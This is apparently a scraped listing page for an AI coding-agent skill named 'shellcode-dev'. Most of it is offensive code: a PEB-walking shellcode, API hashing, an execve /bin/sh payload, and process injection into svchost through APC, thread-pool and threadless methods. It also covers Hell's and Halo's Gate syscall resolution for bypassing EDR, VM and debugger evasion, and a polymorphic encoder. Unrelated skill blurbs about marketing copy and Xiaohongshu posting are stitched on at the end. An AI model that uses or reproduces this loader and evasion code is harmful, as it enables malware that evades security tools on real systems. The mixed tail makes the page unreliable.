Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode
npx skills add https://github.com/hypnguyen1209/offensive-claude --skill shellcode-dev
Avoid direct PAGE_EXECUTE_READWRITE — prefer two-step:
// 1. Allocate with RW
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode
memcpy(dest, shellcode, size);
// 3. Switch to RX (no write permission)
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
// 4. Execute
((void(*)())dest)();
| Method | Platform | Notes |
|--------|----------|-------|
| Call/Pop | Windows | Push next addr, pop into register |
| FPU state (fstenv) | Windows | Saves instruction pointer |
| SEH | Windows | Exception handler stores EIP |
| RIP-relative | x64 | lea rax, [rip+offset] |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | Kernel-provided shared object |
; x64 PEB walk to find kernel32.dll base
find_kernel32:
xor rcx, rcx
mov rax, gs:[rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = InMemoryOrderModuleList
lodsq ; skip first entry (exe)
xchg rax, rsi
lodsq ; skip ntdll
mov rbx, [rax + 0x20] ; RBX = kernel32 base address
; Parse EAT to find GetProcAddress
mov ebx, [rbx + 0x3C] ; PE signature offset
add rbx, r8 ; PE header
mov edx, [rbx + 0x88] ; Export Directory RVA
add rdx, r8 ; Export Directory VA
mov r10d, [rdx + 0x14] ; NumberOfFunctions
mov r11d, [rdx + 0x20] ; AddressOfNames RVA
add r11, r8 ; AddressOfNames VA
; Loop through names, compare hash/string
# Generate hash for API name
def ror13_hash(name):
hash_val = 0
for c in name:
hash_val = ((hash_val >> 13) | (hash_val << 19)) & 0xFFFFFFFF
hash_val = (hash_val + ord(c)) & 0xFFFFFFFF
return hash_val
# Common hashes:
# GetProcAddress: 0x7c0dfcaa
# LoadLibraryA: 0xec0e4e8e
# VirtualAlloc: 0x91afca54
# CreateProcessA: 0x863fcc79
| Problem | Solution |
|---------|----------|
| mov rax, 0 | xor rax, rax |
| mov eax, 0x00000001 | xor eax, eax; inc eax |
| String with null terminator | Push string in reverse, use stack pointer |
| add rsp, 0x200 | sub rsp, 0xfffffffffffffdf8 (two's complement) |
| Zero in immediate | Use sub from known value, or XOR encoding |
// Two-step allocation (avoid RWX)
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, size);
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
// Alternative: Section mapping
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
// Write shellcode to localView
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
// Execute from execView
NtWriteVirtualMemory instead of memcpy for remote injection| Technique | Detection Risk | Notes |
|-----------|---------------|-------|
| CreateRemoteThread | HIGH | Heavily monitored by all EDRs |
| NtQueueApcThreadEx | MEDIUM | APC injection, less monitored |
| NtSetContextThread | MEDIUM | Hijack suspended thread context |
| Callback functions | LOW | VirtualAlloc + EnumWindows callback |
| Fiber execution | LOW | ConvertThreadToFiber + CreateFiber |
| ThreadlessInject | VERY LOW | Overwrite rarely-called export |
| Trampoline (DripLoader) | LOW | JMP to shellcode from ntdll function |
| Tool | Purpose |
|------|---------|
| Donut | EXE/DLL/VBS/JS → position-independent shellcode |
| sRDI | DLL → reflective shellcode |
| Pe2shc | PE → shellcode with custom loader |
| Amber | Reflective PE packer with evasion |
| Location | Risk | Notes |
|----------|------|-------|
| Hardcoded in .text | Medium | Requires recompile |
| PE Resources (RCDATA) | High | Most scanned by AV |
| Certificate Table | Low | Keeps PE signature intact |
| Extra PE section | Medium | Use second-to-last section |
| Internet-hosted | Variable | Downloaded at runtime |
| Registry values | Medium | Stored as binary data |
| Alternate Data Streams | Low | NTFS-specific, less scanned |
1. Reserve 64KB chunks with NO_ACCESS
2. Allocate 4KB RW chunks within that pool
3. Write shellcode in chunks in randomized order
4. Re-protect to RX
5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
6. All calls via direct syscalls (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx)
SVC 0 with ARM64 syscall table; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
mul rsi ; rax=0, rdx=0
push rsi
mov rdi, 0x68732f2f6e69622f ; /bin//sh
push rdi
push rsp
pop rdi ; rdi = pointer to "/bin//sh"
mov al, 59 ; syscall number for execve
syscall
// Inject before process initialization — APC runs before entry point
// Avoids EDR hooks that are set up during DLL loading
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Allocate and write shellcode
LPVOID base = VirtualAllocEx(pi.hProcess, NULL, scSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, base, shellcode, scSize, NULL);
VirtualProtectEx(pi.hProcess, base, scSize, PAGE_EXECUTE_READ, &old);
// Queue APC to main thread — executes before entry point
QueueUserAPC((PAPCFUNC)base, pi.hThread, 0);
ResumeThread(pi.hThread);
// No new thread created — hijack existing thread's execution flow
// Patch a function pointer or callback in target process
// 1. Find a function in target that will be called (e.g., sleep callback, timer)
// 2. Allocate shellcode in target process
// 3. Overwrite function pointer to point to shellcode
// 4. Shellcode executes when target naturally calls the function
// 5. Shellcode restores original pointer after execution
// Example: Hook NtWaitForSingleObject return in target's thread
PVOID hookAddr = GetRemoteProcAddress(hProcess, "ntdll.dll", "NtWaitForSingleObject");
// Write trampoline: execute shellcode → jmp back to original
BYTE trampoline[] = {
0x50, // push rax (save)
0x48, 0xB8, 0,0,0,0,0,0,0,0, // mov rax, shellcode_addr
0xFF, 0xD0, // call rax
0x58, // pop rax (restore)
0xE9, 0,0,0,0 // jmp original_bytes
};
// Abuse Windows Thread Pool internals for injection
// 5 variants targeting different TP structures
// Variant 1: Worker Factory (TP_WORK)
// Insert malicious TP_WORK item into target's thread pool queue
// When thread pool processes work items, shellcode executes
// Variant 2: Timer Queue
// Create timer in target process's timer queue
// Timer callback = shellcode address
// Variant 3: I/O Completion Port
// Queue completion packet to target's IOCP
// Completion callback = shellcode
// Variant 4: Wait Callback
// Register wait on an object in target process
// Signal the object → wait callback (shellcode) fires
// Variant 5: TP_ALPC
// Inject ALPC message that triggers callback in target's thread pool
// Key advantage: No CreateRemoteThread, no APC — uses existing thread pool threads
// EDR sees: legitimate thread pool activity
// Find DLLs with existing RWX sections — no VirtualAlloc/VirtualProtect needed
// msys-2.0.dll has a large RWX section by default
// 1. Find DLL with RWX section
// 2. Load it into target process (or find already loaded)
// 3. Write shellcode directly into RWX section
// 4. Execute — no memory permission changes to trigger ETW TI
// Self-injection variant:
HMODULE hMod = LoadLibraryA("msys-2.0.dll");
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if ((sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(sec[i].Characteristics & IMAGE_SCN_MEM_WRITE)) {
PVOID rwx = (BYTE*)hMod + sec[i].VirtualAddress;
memcpy(rwx, shellcode, scSize);
((void(*)())rwx)();
}
}
// Use NtCreateProcessEx to fork current process
// Forked process inherits all memory including shellcode
// No WriteProcessMemory or VirtualAllocEx in target
// 1. Allocate and prepare shellcode in current process
// 2. Fork using NtCreateProcessEx (creates copy of address space)
// 3. Create thread in forked process at shellcode address
// Fork inherits memory layout — shellcode already present
HANDLE hFork;
NtCreateProcessEx(&hFork, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
0, NULL, NULL, NULL, 0);
// Shellcode is already at same virtual address in fork
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hFork,
shellcodeAddr, NULL, 0, 0, 0, 0, NULL);
// Resolve System Service Numbers (SSN) at runtime from ntdll
// Avoids hardcoding SSNs that change between Windows versions
// Pattern: ntdll Nt* functions start with:
// 4C 8B D1 mov r10, rcx
// B8 XX 00 00 00 mov eax, SSN ← extract this
// 0F 05 syscall
DWORD GetSSN(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && // mov r10, rcx
p[3] == 0xB8) { // mov eax, imm32
return *(DWORD*)(p + 4);
}
return 0; // Hooked — need neighbor technique
}
// When EDR hooks ntdll, the mov eax pattern is replaced with JMP
// Solution: look at neighboring syscall stubs (±1, ±2...) and calculate
DWORD GetSSNHalosGate(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
// Check if function is hooked (starts with JMP instead of mov r10, rcx)
if (p[0] == 0xE9 || p[0] == 0xFF) {
// Walk UP to find unhooked neighbor
for (int i = 1; i < 500; i++) {
BYTE* neighbor = p - (i * 32); // syscall stubs are 32 bytes apart
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) {
return *(DWORD*)(neighbor + 4) + i; // neighbor SSN + offset
}
// Walk DOWN
neighbor = p + (i * 32);
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) {
return *(DWORD*)(neighbor + 4) - i; // neighbor SSN - offset
}
}
}
return *(DWORD*)(p + 4); // Not hooked
}
// Handle case where EDR uses different hook patterns
// Some EDRs use: mov eax, SSN; jmp hook (preserving first instruction)
// Tartarus checks for: 0xB8 [SSN] 0xE9 [offset] pattern
DWORD GetSSNTartarus(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
// Pattern: mov r10, rcx; mov eax, SSN; test [byte]; jne [hook]
if (p[3] == 0xB8 && p[8] == 0xF6 && p[18] == 0x0F && p[19] == 0x05) {
return *(DWORD*)(p + 4); // SSN preserved despite hook
}
// Fall back to Halo's Gate
return GetSSNHalosGate(funcAddr);
}
; Direct syscall: syscall instruction in your code — flagged by EDR
; Indirect syscall: jump to syscall instruction inside ntdll
; 1. Resolve SSN (Hell's/Halo's Gate)
; 2. Find syscall;ret gadget in ntdll
; 3. Set up registers, JMP to ntdll's syscall instruction
global IndirectSyscall
IndirectSyscall:
mov r10, rcx ; first arg
mov eax, [rsp+28h] ; SSN (passed as 5th arg)
jmp qword [rsp+30h] ; jump to syscall;ret in ntdll (6th arg)
; Return address on stack points back to our code
; But syscall instruction is inside ntdll — passes stack trace checks
// RDTSC-based VM/debugger detection
ULONGLONG t1 = __rdtsc();
// Perform operation that's fast on bare metal, slow in VM/debugger
volatile int x = 0;
for (int i = 0; i < 100; i++) x += i;
ULONGLONG t2 = __rdtsc();
if ((t2 - t1) > 1000) return; // Too slow — likely instrumented
// NtDelayExecution timing check
LARGE_INTEGER start, end, delay;
NtQuerySystemTime(&start);
delay.QuadPart = -10000000LL; // 1 second
NtDelayExecution(FALSE, &delay);
NtQuerySystemTime(&end);
// If elapsed < 900ms, sandbox is fast-forwarding time
if ((end.QuadPart - start.QuadPart) < 9000000LL) return;
// CPUID-based detection
int cpuInfo[4];
__cpuid(cpuInfo, 0x40000000);
// Hypervisor brand: "VMwareVMware", "Microsoft Hv", "KVMKVMKVM"
char brand[13] = {0};
memcpy(brand, &cpuInfo[1], 12);
if (strstr(brand, "VMware") || strstr(brand, "Hv")) return;
// MAC address OUI check
// VMware: 00:0C:29, 00:50:56
// VirtualBox: 08:00:27
// Hyper-V: 00:15:5D
// Firmware tables (SMBIOS)
DWORD size = GetSystemFirmwareTable('RSMB', 0, NULL, 0);
BYTE* buf = malloc(size);
GetSystemFirmwareTable('RSMB', 0, buf, size);
// Check for "VMware", "VirtualBox", "QEMU" in SMBIOS strings
// Check for analysis tools
const char* blacklist[] = {
"x64dbg.exe", "x32dbg.exe", "ollydbg.exe", "ida.exe", "ida64.exe",
"processhacker.exe", "procmon.exe", "wireshark.exe", "fiddler.exe",
"dnspy.exe", "pestudio.exe", "die.exe"
};
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// Enumerate and check against blacklist
// Check loaded DLLs (sandbox hooks)
// sbiedll.dll (Sandboxie), dbghelp.dll (debugger),
// SbieDll.dll, api_log.dll, dir_watch.dll
; Shellcode that rewrites itself on each execution
; Changes instruction encoding while preserving semantics
metamorphic_entry:
; Generate random key
rdtsc
mov ecx, eax
; XOR-encode the next block with new key
lea rsi, [rip + payload_start]
mov rdx, payload_size
.encode_loop:
xor byte [rsi], cl
ror cl, 3
inc rsi
dec rdx
jnz .encode_loop
; Equivalent instruction substitution
; mov rax, X → push X; pop rax
; xor rax, rax → sub rax, rax
; add rax, 1 → inc rax
; Each execution uses different encoding
import os, struct, random
def polymorphic_encode(shellcode: bytes) -> bytes:
key = os.urandom(4)
# Random decoder stub selection
decoders = [
# XOR decoder
b"\xeb\x09\x5e\x31\xc9\xb1" + bytes([len(shellcode)]) +
b"\x80\x36" + bytes([key[0]]) + b"\x46\xe2\xfa\xeb\x05\xe8\xf2\xff\xff\xff",
# ADD/SUB decoder
b"\xeb\x09\x5e\x31\xc9\xb1" + bytes([len(shellcode)]) +
b"\x80\x2e" + bytes([key[0]]) + b"\x46\xe2\xfa\xeb\x05\xe8\xf2\xff\xff\xff",
]
decoder = random.choice(decoders)
# NOP sled with random NOP equivalents
nop_equivs = [b"\x90", b"\x40\x48", b"\x66\x90", b"\x0f\x1f\x00"]
nops = b"".join(random.choice(nop_equivs) for _ in range(random.randint(2, 8)))
# Encode payload
encoded = bytes([b ^ key[i % 4] for i, b in enumerate(shellcode)])
return nops + decoder + encoded
You are an expert copy editor specializing in marketing and conversion copy. Your goal is to systematically improve existing copy through focused editing passes while preserving the core message.
Write rigorous, conversion-focused marketing copy for landing pages and emails. Enforces brief confirmation and strict no-fabrication rules.
Write and add new blog posts for this Next.js site by matching the existing BlogPost structure in `src/lib/blog-data.ts`. Use when asked to draft a new blog article, update blog content, or produce SEO metadata/slug/image details for a new post.
Adds multi-language support to Next.js websites with proper SEO configuration including hreflang tags, localized sitemaps, and language-specific content. Use when adding new languages, setting up i18n, optimizing for international SEO, or when user mentions localization, translation, multi-language, or specific languages like Japanese, Korean, Chinese.
LinkedIn post writing with hook formulas, formatting rules, and engagement patterns. Covers post types, algorithm signals, character limits, and content pillars. Use for: LinkedIn posts, professional content, thought leadership, B2B content, personal branding. Triggers: linkedin post, linkedin content, linkedin writing, linkedin strategy, linkedin engagement, linkedin algorithm, linkedin hook, linkedin formatting, thought leadership, professional content, b2b content, linkedin growth
| Write and rewrite marketing copy for landing pages, homepages, and ads. Useful as a copy chief partner during launches.
Automates the complete Xiaohongshu (XHS / Little Red Book) content operation workflow: pain-point topic collection → style case collection → topic selection → content writing → publishing → performance tracking. Use when user mentions xiaohongshu auto posting, xhs auto post, little red book posting, xiaohongshu post, xiaohongshu auto posting, xiaohongshu content operations, xhs content marketing, post to xiaohongshu, publish on xhs, post on xiaohongshu, xiaohongshu promotion, xiaohongshu operations, xiaohongshu automation, xhs automation, track xhs performance, track xiaohongshu performance, xiaohongshu data tracking, xiaohongshu analytics, switch xhs account, update xhs keywords.
电商图片文案创作技能,支持多品类产品的吸引性文案生成,适用于电商平台的商品营销推广
Take hypnguyen1209/shellcode-dev from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.